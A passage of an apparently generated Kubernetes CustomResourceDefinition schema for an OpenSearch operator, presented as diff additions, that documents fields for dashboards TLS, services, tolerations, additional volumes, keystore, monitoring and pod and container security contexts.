https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/ + type: object + type: object + securityContext: + description: Set security context for the dashboards pods' container + properties: + allowPrivilegeEscalation: + description: |- + AllowPrivilegeEscalation controls whether a process can gain more + privileges than its parent process. This bool directly controls if + the no_new_privs flag will be set on the container process. + AllowPrivilegeEscalation is true always when the container is: + 1) run as Privileged + 2) has CAP_SYS_ADMIN + Note that this field cannot be set when spec.os.name is windows. + type: boolean + appArmorProfile: + description: |- + appArmorProfile is the AppArmor options to use by this container. If set, this profile + overrides the pod's appArmorProfile. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile loaded on the node that should be used. + The profile must be preconfigured on the node to work. + Must match the loaded name of the profile. + Must be set if and only if type is "Localhost". + type: string + type: + description: |- + type indicates which kind of AppArmor profile will be applied. + Valid options are: + Localhost - a profile pre-loaded on the node. + RuntimeDefault - the container runtime's default profile. + Unconfined - no AppArmor enforcement. + type: string + required: + - type + type: object + capabilities: + description: |- + The capabilities to add/drop when running containers. + Defaults to the default set of capabilities granted by the container runtime. + Note that this field cannot be set when spec.os.name is windows. + properties: + add: + description: Added capabilities + items: + description: Capability represent POSIX capabilities + type + type: string + type: array + x-kubernetes-list-type: atomic + drop: + description: Removed capabilities + items: + description: Capability represent POSIX capabilities + type + type: string + type: array + x-kubernetes-list-type: atomic + type: object + privileged: + description: |- + Run container in privileged mode. + Processes in privileged containers are essentially equivalent to root on the host. + Defaults to false. + Note that this field cannot be set when spec.os.name is windows. + type: boolean + procMount: + description: |- + procMount denotes the type of proc mount to use for the containers. + The default value is Default which uses the container runtime defaults for + readonly paths and masked paths. + This requires the ProcMountType feature flag to be enabled. + Note that this field cannot be set when spec.os.name is windows. + type: string + readOnlyRootFilesystem: + description: |- + Whether this container has a read-only root filesystem. + Default is false. + Note that this field cannot be set when spec.os.name is windows. + type: boolean + runAsGroup: + description: |- + The GID to run the entrypoint of the container process. + Uses runtime default if unset. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + runAsNonRoot: + description: |- + Indicates that the container must run as a non-root user. + If true, the Kubelet will validate the image at runtime to ensure that it + does not run as UID 0 (root) and fail to start the container if it does. + If unset or false, no such validation will be performed. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: boolean + runAsUser: + description: |- + The UID to run the entrypoint of the container process. + Defaults to user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + seLinuxOptions: + description: |- + The SELinux context to be applied to the container. + If unspecified, the container runtime will allocate a random SELinux context for each + container. May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is windows. + properties: + level: + description: Level is SELinux level label that applies + to the container. + type: string + role: + description: Role is a SELinux role label that applies + to the container. + type: string + type: + description: Type is a SELinux type label that applies + to the container. + type: string + user: + description: User is a SELinux user label that applies + to the container. + type: string + type: object + seccompProfile: + description: |- + The seccomp options to use by this container. If seccomp options are + provided at both the pod & container level, the container options + override the pod options. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile defined in a file on the node should be used. + The profile must be preconfigured on the node to work. + Must be a descending path, relative to the kubelet's configured seccomp profile location. + Must be set if type is "Localhost". Must NOT be set for any other type. + type: string + type: + description: |- + type indicates which kind of seccomp profile will be applied. + Valid options are: + + Localhost - a profile defined in a file on the node should be used. + RuntimeDefault - the container runtime default profile should be used. + Unconfined - no profile should be applied. + type: string + required: + - type + type: object + windowsOptions: + description: |- + The Windows specific settings applied to all containers. + If unspecified, the options from the PodSecurityContext will be used. + If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is linux. + properties: + gmsaCredentialSpec: + description: |- + GMSACredentialSpec is where the GMSA admission webhook + (https://github.com/kubernetes-sigs/windows-gmsa) inlines the contents of the + GMSA credential spec named by the GMSACredentialSpecName field. + type: string + gmsaCredentialSpecName: + description: GMSACredentialSpecName is the name of the + GMSA credential spec to use. + type: string + hostProcess: + description: |- + HostProcess determines if a container should be run as a 'Host Process' container. + All of a Pod's containers must have the same effective HostProcess value + (it is not allowed to have a mix of HostProcess containers and non-HostProcess containers). + In addition, if HostProcess is true then HostNetwork must also be set to true. + type: boolean + runAsUserName: + description: |- + The UserName in Windows to run the entrypoint of the container process. + Defaults to the user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: string + type: object + type: object + service: + properties: + labels: + additionalProperties: + type: string + type: object + loadBalancerSourceRanges: + items: + type: string + type: array + type: + default: ClusterIP + description: Service Type string describes ingress methods + for a service + enum: + - ClusterIP + - NodePort + - LoadBalancer + type: string + type: object + tls: + properties: + caSecret: + description: Optional, secret that contains the ca certificate + as ca.crt. If this and generate=true is set the existing + CA cert from that secret is used to generate the node certs. + In this case must contain ca.crt and ca.key fields + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + enable: + description: Enable HTTPS for Dashboards + type: boolean + generate: + description: Generate certificate, if false secret must be + provided + type: boolean + secret: + description: Optional, name of a TLS secret that contains + ca.crt, tls.key and tls.crt data. If ca.crt is in a different + secret provide it via the caSecret field + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: object + tolerations: + items: + description: |- + The pod this Toleration is attached to tolerates any taint that matches + the triple using the matching operator . + properties: + effect: + description: |- + Effect indicates the taint effect to match. Empty means match all taint effects. + When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute. + type: string + key: + description: |- + Key is the taint key that the toleration applies to. Empty means match all taint keys. + If the key is empty, operator must be Exists; this combination means to match all values and all keys. + type: string + operator: + description: |- + Operator represents a key's relationship to the value. + Valid operators are Exists and Equal. Defaults to Equal. + Exists is equivalent to wildcard for value, so that a pod can + tolerate all taints of a particular category. + type: string + tolerationSeconds: + description: |- + TolerationSeconds represents the period of time the toleration (which must be + of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default, + it is not set, which means tolerate the taint forever (do not evict). Zero and + negative values will be treated as 0 (evict immediately) by the system. + format: int64 + type: integer + value: + description: |- + Value is the taint value the toleration matches to. + If the operator is Exists, the value should be empty, otherwise just a regular string. + type: string + type: object + type: array + version: + type: string + required: + - replicas + - version + type: object + general: + description: |- + INSERT ADDITIONAL SPEC FIELDS - desired state of cluster + Important: Run "make" to regenerate code after modifying this file + properties: + additionalConfig: + additionalProperties: + type: string + description: Extra items to add to the opensearch.yml + type: object + additionalVolumes: + description: Additional volumes to mount to all pods in the cluster + items: + properties: + configMap: + description: ConfigMap to use to populate the volume + properties: + defaultMode: + description: |- + defaultMode is optional: mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + Defaults to 0644. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + ConfigMap will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the ConfigMap, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path within a + volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional specify whether the ConfigMap + or its keys must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + csi: + description: CSI object to use to populate the volume + properties: + driver: + description: |- + driver is the name of the CSI driver that handles this volume. + Consult with your admin for the correct name as registered in the cluster. + type: string + fsType: + description: |- + fsType to mount. Ex. "ext4", "xfs", "ntfs". + If not provided, the empty value is passed to the associated CSI driver + which will determine the default filesystem to apply. + type: string + nodePublishSecretRef: + description: |- + nodePublishSecretRef is a reference to the secret object containing + sensitive information to pass to the CSI driver to complete the CSI + NodePublishVolume and NodeUnpublishVolume calls. + This field is optional, and may be empty if no secret is required. If the + secret object contains more than one secret, all secret references are passed. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + readOnly: + description: |- + readOnly specifies a read-only configuration for the volume. + Defaults to false (read/write). + type: boolean + volumeAttributes: + additionalProperties: + type: string + description: |- + volumeAttributes stores driver-specific properties that are passed to the CSI + driver. Consult your driver's documentation for supported values. + type: object + required: + - driver + type: object + emptyDir: + description: EmptyDir to use to populate the volume + properties: + medium: + description: |- + medium represents what type of storage medium should back this directory. + The default is "" which means to use the node's default medium. + Must be an empty string (default) or Memory. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + type: string + sizeLimit: + anyOf: + - type: integer + - type: string + description: |- + sizeLimit is the total amount of local storage required for this EmptyDir volume. + The size limit is also applicable for memory medium. + The maximum usage on memory medium EmptyDir would be the minimum value between + the SizeLimit specified here and the sum of memory limits of all containers in a pod. + The default is nil which means that the limit is undefined. + More info: https://kubernetes.io/docs/concepts/storage/volumes#emptydir + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + type: object + name: + description: Name to use for the volume. Required. + type: string + path: + description: Path in the container to mount the volume at. + Required. + type: string + projected: + description: Projected object to use to populate the volume + properties: + defaultMode: + description: |- + defaultMode are the mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + sources: + description: |- + sources is the list of volume projections. Each entry in this list + handles one source. + items: + description: |- + Projection that may be projected along with other supported volume types. + Exactly one of these fields must be set. + properties: + clusterTrustBundle: + description: |- + ClusterTrustBundle allows a pod to access the `.spec.trustBundle` field + of ClusterTrustBundle objects in an auto-updating file. + + Alpha, gated by the ClusterTrustBundleProjection feature gate. + + ClusterTrustBundle objects can either be selected by name, or by the + combination of signer name and a label selector. + + Kubelet performs aggressive normalization of the PEM contents written + into the pod filesystem. Esoteric PEM features such as inter-block + comments and block headers are stripped. Certificates are deduplicated. + The ordering of certificates within the file is arbitrary, and Kubelet + may change the order over time. + properties: + labelSelector: + description: |- + Select all ClusterTrustBundles that match this label selector. Only has + effect if signerName is set. Mutually-exclusive with name. If unset, + interpreted as "match nothing". If set but empty, interpreted as "match + everything". + properties: + matchExpressions: + description: matchExpressions is a list + of label selector requirements. The + requirements are ANDed. + items: + description: |- + A label selector requirement is a selector that contains values, a key, and an operator that + relates the key and values. + properties: + key: + description: key is the label key + that the selector applies to. + type: string + operator: + description: |- + operator represents a key's relationship to a set of values. + Valid operators are In, NotIn, Exists and DoesNotExist. + type: string + values: + description: |- + values is an array of string values. If the operator is In or NotIn, + the values array must be non-empty. If the operator is Exists or DoesNotExist, + the values array must be empty. This array is replaced during a strategic + merge patch. + items: + type: string + type: array + x-kubernetes-list-type: atomic + required: + - key + - operator + type: object + type: array + x-kubernetes-list-type: atomic + matchLabels: + additionalProperties: + type: string + description: |- + matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels + map is equivalent to an element of matchExpressions, whose key field is "key", the + operator is "In", and the values array contains only "value". The requirements are ANDed. + type: object + type: object + x-kubernetes-map-type: atomic + name: + description: |- + Select a single ClusterTrustBundle by object name. Mutually-exclusive + with signerName and labelSelector. + type: string + optional: + description: |- + If true, don't block pod startup if the referenced ClusterTrustBundle(s) + aren't available. If using name, then the named ClusterTrustBundle is + allowed not to exist. If using signerName, then the combination of + signerName and labelSelector is allowed to match zero + ClusterTrustBundles. + type: boolean + path: + description: Relative path from the volume + root to write the bundle. + type: string + signerName: + description: |- + Select all ClusterTrustBundles that match this signer name. + Mutually-exclusive with name. The contents of all selected + ClusterTrustBundles will be unified and deduplicated. + type: string + required: + - path + type: object + configMap: + description: configMap information about the configMap + data to project + properties: + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + ConfigMap will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the ConfigMap, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path + within a volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional specify whether the + ConfigMap or its keys must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + downwardAPI: + description: downwardAPI information about the + downwardAPI data to project + properties: + items: + description: Items is a list of DownwardAPIVolume + file + items: + description: DownwardAPIVolumeFile represents + information to create the file containing + the pod field + properties: + fieldRef: + description: 'Required: Selects a field + of the pod: only annotations, labels, + name, namespace and uid are supported.' + properties: + apiVersion: + description: Version of the schema + the FieldPath is written in terms + of, defaults to "v1". + type: string + fieldPath: + description: Path of the field to + select in the specified API version. + type: string + required: + - fieldPath + type: object + x-kubernetes-map-type: atomic + mode: + description: |- + Optional: mode bits used to set permissions on this file, must be an octal value + between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: 'Required: Path is the + relative path name of the file to + be created. Must not be absolute or + contain the ''..'' path. Must be utf-8 + encoded. The first item of the relative + path must not start with ''..''' + type: string + resourceFieldRef: + description: |- + Selects a resource of the container: only resources limits and requests + (limits.cpu, limits.memory, requests.cpu and requests.memory) are currently supported. + properties: + containerName: + description: 'Container name: required + for volumes, optional for env + vars' + type: string + divisor: + anyOf: + - type: integer + - type: string + description: Specifies the output + format of the exposed resources, + defaults to "1" + pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$ + x-kubernetes-int-or-string: true + resource: + description: 'Required: resource + to select' + type: string + required: + - resource + type: object + x-kubernetes-map-type: atomic + required: + - path + type: object + type: array + x-kubernetes-list-type: atomic + type: object + secret: + description: secret information about the secret + data to project + properties: + items: + description: |- + items if unspecified, each key-value pair in the Data field of the referenced + Secret will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the Secret, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path + within a volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + optional: + description: optional field specify whether + the Secret or its key must be defined + type: boolean + type: object + x-kubernetes-map-type: atomic + serviceAccountToken: + description: serviceAccountToken is information + about the serviceAccountToken data to project + properties: + audience: + description: |- + audience is the intended audience of the token. A recipient of a token + must identify itself with an identifier specified in the audience of the + token, and otherwise should reject the token. The audience defaults to the + identifier of the apiserver. + type: string + expirationSeconds: + description: |- + expirationSeconds is the requested duration of validity of the service + account token. As the token approaches expiration, the kubelet volume + plugin will proactively rotate the service account token. The kubelet will + start trying to rotate the token if the token is older than 80 percent of + its time to live or if the token is older than 24 hours.Defaults to 1 hour + and must be at least 10 minutes. + format: int64 + type: integer + path: + description: |- + path is the path relative to the mount point of the file to project the + token into. + type: string + required: + - path + type: object + type: object + type: array + x-kubernetes-list-type: atomic + type: object + restartPods: + description: Whether to restart the pods on content change + type: boolean + secret: + description: Secret to use populate the volume + properties: + defaultMode: + description: |- + defaultMode is Optional: mode bits used to set permissions on created files by default. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values + for mode bits. Defaults to 0644. + Directories within the path are not affected by this setting. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + items: + description: |- + items If unspecified, each key-value pair in the Data field of the referenced + Secret will be projected into the volume as a file whose name is the + key and content is the value. If specified, the listed keys will be + projected into the specified paths, and unlisted keys will not be + present. If a key is specified which is not present in the Secret, + the volume setup will error unless it is marked optional. Paths must be + relative and may not contain the '..' path or start with '..'. + items: + description: Maps a string key to a path within a + volume. + properties: + key: + description: key is the key to project. + type: string + mode: + description: |- + mode is Optional: mode bits used to set permissions on this file. + Must be an octal value between 0000 and 0777 or a decimal value between 0 and 511. + YAML accepts both octal and decimal values, JSON requires decimal values for mode bits. + If not specified, the volume defaultMode will be used. + This might be in conflict with other options that affect the file + mode, like fsGroup, and the result can be other mode bits set. + format: int32 + type: integer + path: + description: |- + path is the relative path of the file to map the key to. + May not be an absolute path. + May not contain the path element '..'. + May not start with the string '..'. + type: string + required: + - key + - path + type: object + type: array + x-kubernetes-list-type: atomic + optional: + description: optional field specify whether the Secret + or its keys must be defined + type: boolean + secretName: + description: |- + secretName is the name of the secret in the pod's namespace to use. + More info: https://kubernetes.io/docs/concepts/storage/volumes#secret + type: string + type: object + subPath: + description: SubPath of the referenced volume to mount. + type: string + required: + - name + - path + type: object + type: array + annotations: + additionalProperties: + type: string + description: Adds support for annotations in services + type: object + command: + type: string + defaultRepo: + type: string + drainDataNodes: + description: Drain data nodes controls whether to drain data notes + on rolling restart operations + type: boolean + httpPort: + default: 9200 + format: int32 + type: integer + image: + type: string + imagePullPolicy: + description: PullPolicy describes a policy for if/when to pull + a container image + type: string + imagePullSecrets: + items: + description: |- + LocalObjectReference contains enough information to let you locate the + referenced object inside the same namespace. + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: array + keystore: + description: Populate opensearch keystore before startup + items: + properties: + keyMappings: + additionalProperties: + type: string + description: Key mappings from secret to keystore keys + type: object + secret: + description: Secret containing key value pairs + properties: + name: + default: "" + description: |- + Name of the referent. + This field is effectively required, but due to backwards compatibility is + allowed to be empty. Instances of this type with an empty value here are + almost certainly wrong. + More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names + type: string + type: object + x-kubernetes-map-type: atomic + type: object + type: array + monitoring: + properties: + enable: + type: boolean + labels: + additionalProperties: + type: string + type: object + monitoringUserSecret: + type: string + pluginUrl: + type: string + scrapeInterval: + type: string + tlsConfig: + properties: + insecureSkipVerify: + type: boolean + serverName: + type: string + type: object + type: object + pluginsList: + items: + type: string + type: array + podSecurityContext: + description: Set security context for the cluster pods + properties: + appArmorProfile: + description: |- + appArmorProfile is the AppArmor options to use by the containers in this pod. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile loaded on the node that should be used. + The profile must be preconfigured on the node to work. + Must match the loaded name of the profile. + Must be set if and only if type is "Localhost". + type: string + type: + description: |- + type indicates which kind of AppArmor profile will be applied. + Valid options are: + Localhost - a profile pre-loaded on the node. + RuntimeDefault - the container runtime's default profile. + Unconfined - no AppArmor enforcement. + type: string + required: + - type + type: object + fsGroup: + description: |- + A special supplemental group that applies to all containers in a pod. + Some volume types allow the Kubelet to change the ownership of that volume + to be owned by the pod: + + 1. The owning GID will be the FSGroup + 2. The setgid bit is set (new files created in the volume will be owned by FSGroup) + 3. The permission bits are OR'd with rw-rw---- + + If unset, the Kubelet will not modify the ownership and permissions of any volume. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + fsGroupChangePolicy: + description: |- + fsGroupChangePolicy defines behavior of changing ownership and permission of the volume + before being exposed inside Pod. This field will only apply to + volume types which support fsGroup based ownership(and permissions). + It will have no effect on ephemeral volume types such as: secret, configmaps + and emptydir. + Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used. + Note that this field cannot be set when spec.os.name is windows. + type: string + runAsGroup: + description: |- + The GID to run the entrypoint of the container process. + Uses runtime default if unset. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence + for that container. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + runAsNonRoot: + description: |- + Indicates that the container must run as a non-root user. + If true, the Kubelet will validate the image at runtime to ensure that it + does not run as UID 0 (root) and fail to start the container if it does. + If unset or false, no such validation will be performed. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: boolean + runAsUser: + description: |- + The UID to run the entrypoint of the container process. + Defaults to user specified in image metadata if unspecified. + May also be set in SecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence + for that container. + Note that this field cannot be set when spec.os.name is windows. + format: int64 + type: integer + seLinuxChangePolicy: + description: |- + seLinuxChangePolicy defines how the container's SELinux label is applied to all volumes used by the Pod. + It has no effect on nodes that do not support SELinux or to volumes does not support SELinux. + Valid values are "MountOption" and "Recursive". + + "Recursive" means relabeling of all files on all Pod volumes by the container runtime. + This may be slow for large volumes, but allows mixing privileged and unprivileged Pods sharing the same volume on the same node. + + "MountOption" mounts all eligible Pod volumes with `-o context` mount option. + This requires all Pods that share the same volume to use the same SELinux label. + It is not possible to share the same volume among privileged and unprivileged Pods. + Eligible volumes are in-tree FibreChannel and iSCSI volumes, and all CSI volumes + whose CSI driver announces SELinux support by setting spec.seLinuxMount: true in their + CSIDriver instance. Other volumes are always re-labelled recursively. + "MountOption" value is allowed only when SELinuxMount feature gate is enabled. + + If not specified and SELinuxMount feature gate is enabled, "MountOption" is used. + If not specified and SELinuxMount feature gate is disabled, "MountOption" is used for ReadWriteOncePod volumes + and "Recursive" for all other volumes. + + This field affects only Pods that have SELinux label set, either in PodSecurityContext or in SecurityContext of all containers. + + All Pods that use the same volume should use the same seLinuxChangePolicy, otherwise some pods can get stuck in ContainerCreating state. + Note that this field cannot be set when spec.os.name is windows. + type: string + seLinuxOptions: + description: |- + The SELinux context to be applied to all containers. + If unspecified, the container runtime will allocate a random SELinux context for each + container. May also be set in SecurityContext. If set in + both SecurityContext and PodSecurityContext, the value specified in SecurityContext + takes precedence for that container. + Note that this field cannot be set when spec.os.name is windows. + properties: + level: + description: Level is SELinux level label that applies + to the container. + type: string + role: + description: Role is a SELinux role label that applies + to the container. + type: string + type: + description: Type is a SELinux type label that applies + to the container. + type: string + user: + description: User is a SELinux user label that applies + to the container. + type: string + type: object + seccompProfile: + description: |- + The seccomp options to use by the containers in this pod. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile defined in a file on the node should be used. + The profile must be preconfigured on the node to work. + Must be a descending path, relative to the kubelet's configured seccomp profile location. + Must be set if type is "Localhost". Must NOT be set for any other type. + type: string + type: + description: |- + type indicates which kind of seccomp profile will be applied. + Valid options are: + + Localhost - a profile defined in a file on the node should be used. + RuntimeDefault - the container runtime default profile should be used. + Unconfined - no profile should be applied. + type: string + required: + - type + type: object + supplementalGroups: + description: |- + A list of groups applied to the first process run in each container, in + addition to the container's primary GID and fsGroup (if specified). If + the SupplementalGroupsPolicy feature is enabled, the + supplementalGroupsPolicy field determines whether these are in addition + to or instead of any group memberships defined in the container image. + If unspecified, no additional groups are added, though group memberships + defined in the container image may still be used, depending on the + supplementalGroupsPolicy field. + Note that this field cannot be set when spec.os.name is windows. + items: + format: int64 + type: integer + type: array + x-kubernetes-list-type: atomic + supplementalGroupsPolicy: + description: |- + Defines how supplemental groups of the first container processes are calculated. + Valid values are "Merge" and "Strict". If not specified, "Merge" is used. + (Alpha) Using the field requires the SupplementalGroupsPolicy feature gate to be enabled + and the container runtime must implement support for this feature. + Note that this field cannot be set when spec.os.name is windows. + type: string + sysctls: + description: |- + Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported + sysctls (by the container runtime) might fail to launch. + Note that this field cannot be set when spec.os.name is windows. + items: + description: Sysctl defines a kernel parameter to be set + properties: + name: + description: Name of a property to set + type: string + value: + description: Value of a property to set + type: string + required: + - name + - value + type: object + type: array + x-kubernetes-list-type: atomic + windowsOptions: + description: |- + The Windows specific settings applied to all containers. + If unspecified, the options within a container's SecurityContext will be used. + If set in both SecurityContext and PodSecurityContext, the value specified in SecurityContext takes precedence. + Note that this field cannot be set when spec.os.name is linux. + properties: + gmsaCredentialSpec: + description: |- + GMSACredentialSpec is where the GMSA admission webhook + (https://github.com/kubernetes-sigs/windows-gmsa) inlines the contents of the + GMSA credential spec named by the GMSACredentialSpecName field. + type: string + gmsaCredentialSpecName: + description: GMSACredentialSpecName is the name of the + GMSA credential spec to use. + type: string + hostProcess: + description: |- + HostProcess determines if a container should be run as a 'Host Process' container. + All of a Pod's containers must have the same effective HostProcess value + (it is not allowed to have a mix of HostProcess containers and non-HostProcess containers). + In addition, if HostProcess is true then HostNetwork must also be set to true. + type: boolean + runAsUserName: + description: |- + The UserName in Windows to run the entrypoint of the container process. + Defaults to the user specified in image metadata if unspecified. + May also be set in PodSecurityContext. If set in both SecurityContext and + PodSecurityContext, the value specified in SecurityContext takes precedence. + type: string + type: object + type: object + securityContext: + description: Set security context for the cluster pods' container + properties: + allowPrivilegeEscalation: + description: |- + AllowPrivilegeEscalation controls whether a process can gain more + privileges than its parent process. This bool directly controls if + the no_new_privs flag will be set on the container process. + AllowPrivilegeEscalation is true always when the container is: + 1) run as Privileged + 2) has CAP_SYS_ADMIN + Note that this field cannot be set when spec.os.name is windows. + type: boolean + appArmorProfile: + description: |- + appArmorProfile is the AppArmor options to use by this container. If set, this profile + overrides the pod's appArmorProfile. + Note that this field cannot be set when spec.os.name is windows. + properties: + localhostProfile: + description: |- + localhostProfile indicates a profile loaded on the node that should be used. + The profile must be preconfigured on the node to work. + Must match the loaded name of the profile. + Must be set if and only if type is "Localhost". + type: string + type: + description: |- + type indicates which kind of AppArmor profile will be applied. + Valid options are: + Localhost - a profile pre-loaded on the node. + RuntimeDefault - the container runtime's default profile. + Unconfined - no AppArmor enforcement. + type: string + required: + - type + type: object + capabilities: + description: |- + The capabilities to add/drop when running containers. + Defaults to the default set of capabilities granted by the container runtime. + Note that this field cannot be set when spec.os.name is windows. + properties: + add: + description: Added capabilities + items: + description: Capability represent POSIX capabilities + type + type: string + type: array + x-kubernetes-list-type: atomic + drop: + description: Removed capabilities + items: + description: Capability represent POSIX capabilities + type + type: string + type: array + x-kubernetes-list-type: atomic + type: object + privileged: + description: |- + Run container in privileged mode. + Processes in privileged containers are essentially equivalent to root on the host. + Defaults to false. + Note that this field cannot be set when spec.os.name is windows. + type: boolean + procMount: + description: |- + procMount denotes the type of proc mount to use for the containers. + The default value is Default which uses the container runtime defaults 